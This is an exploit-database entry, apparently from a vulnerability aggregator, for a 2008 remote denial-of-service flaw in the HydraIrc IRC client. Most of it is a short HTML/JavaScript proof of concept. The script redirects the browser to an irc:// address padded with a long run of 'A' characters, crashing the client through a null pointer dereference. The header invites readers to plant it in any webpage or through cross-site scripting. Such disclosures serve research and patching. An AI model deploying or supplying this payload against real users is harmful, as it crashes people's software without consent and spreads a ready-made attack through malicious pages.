HydraIrc <= 0.3.164 (last) Remote Denial of Service Exploit

🗓️ 04 Aug 2008 00:00:00Reported by RootType

HydraIrc <= 0.3.164 Remote Denial of Service Exploit, Null Pointer Dereference, Impact on all browser


                                                ############################################################
# Vendor : http://www.hydrairc.com/
# Remote : Yes
# Impact : Remote crash
# Bug : Null Pointer Dereference
# Working on : all browsers
#
#  Include this in any webpage or xss &amp; see it with any browser , wait ~15sec, and boom.
#
# PoC :
#
&lt;html&gt;
&lt;head&gt; &lt;title&gt;HydraIRC Remote Denial Of Service Poc &lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
&lt;script&gt;
var site = 'irc://127.0.0.1/'
var buf = 'A';
     while (buf.length &lt;= 560) buf = buf + 'A';
document.location.href=site +buf
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;

04 Aug 2008 00:00Current

7.1High risk

Vulners AI Score7.1

HydraIrc &lt;= 0.3.164 (last) Remote Denial of Service Exploit

HydraIrc <= 0.3.164 (last) Remote Denial of Service Exploit